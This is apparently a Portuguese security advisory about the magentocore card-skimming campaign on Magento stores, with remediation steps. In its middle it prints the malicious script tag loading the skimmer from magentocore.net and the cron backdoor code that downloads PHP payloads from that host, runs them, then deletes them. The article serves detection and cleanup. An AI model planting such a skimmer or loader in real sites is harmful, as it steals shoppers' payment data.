Foi descoberta uma nova campanha de roubo de credenciais bancárias que funciona a partir de um script encontrado em muitas lojas Magento. Este script é capaz de gravar o que o user digita no teclado e transfere depois esses dados em tempo real para servidores do magentocore.
Como funciona?
Este malware obtém acesso ao painel de controlo da loja através de técnicas de força bruta e, assim que o obtém, guarda a chave de acesso no script, e depois este irá procurar pelos inputs em campos como número do cartão de crédito, validade e morada de faturação.
Depois de obtida a informação necessária, os dados são enviados para o servidor magentocore[.]net, localizado em Moscovo.
O malware também coloca um backdoor num ficheiro cron, ficheiro este usado para regular tarefas agendadas. Este backdoor depois irá regularmente fazer download do código malicioso a partir do servidor e depois correr esse mesmo código. Depois de correr o código, apaga-se para não deixar rasto.
****************************************************
<script type="text/javascript" src="https://magentocore.net/mage/mage.js"></script>
Código em cron
shell_exec("wget -c https://magentocore.net/clean.json -O ./app/code/core/clean.php 2>&1"); shell_exec("wget -c https://magentocore.net/clear.json -O ./app/code/core/clear.php 2>&1"); shell_exec("php ./app/code/core/clean.php 2>&1"); shell_exec("php ./app/code/core/clear.php 2>&1"); unlink('./app/code/core/clean.php'); unlink('./app/code/core/clear.php');
****************************************************
O script de Magento está atualmente em mais de 5000 lojas online.
O que fazer?
Caso esteja a fazer uma forense ou se encontra perante um caso destes na sua loja, eis o que deverá fazer de forma a poder mitigar o problema:
- Encontre o ponto de começo: como é que os atacantes poderiam obter o acesso? Analise logs de acesso, correlacione com os IP's do staff e as horas de trabalho. Caso haja alguma atividade suspeita por parte dos IP's do staff, pode ser um computador do Staff que está infetado com malware, ou o atacante pode ter roubado uma sessão autenticada.
- Encontre backdoors e mudanças não autorizadas no seu código. normalmente existe algum código tanto de frontend como de backend, além da base de dados. Existe um scanner open source que procura por malware ligado ao magentocore e que pode ser obtido a partir daqui: https://github.com/gwillem/magento-malware-scanner - Assim que tirar reunido os meios de acesso não autorizado, é altura de os fechar de vez. - Remover o skimmer, os backdoors e outro tipo de códigos. Reverta o site e guarde uma cópia na base de código. Às vezes, o malware está escondido no próprio HTML, além de ficheiros estáticos em javascript. Tudo o que seja carregado na página é passível de ser investigado e verificado.
- Implemente procedimentos seguros a que incluam políticas de password seguras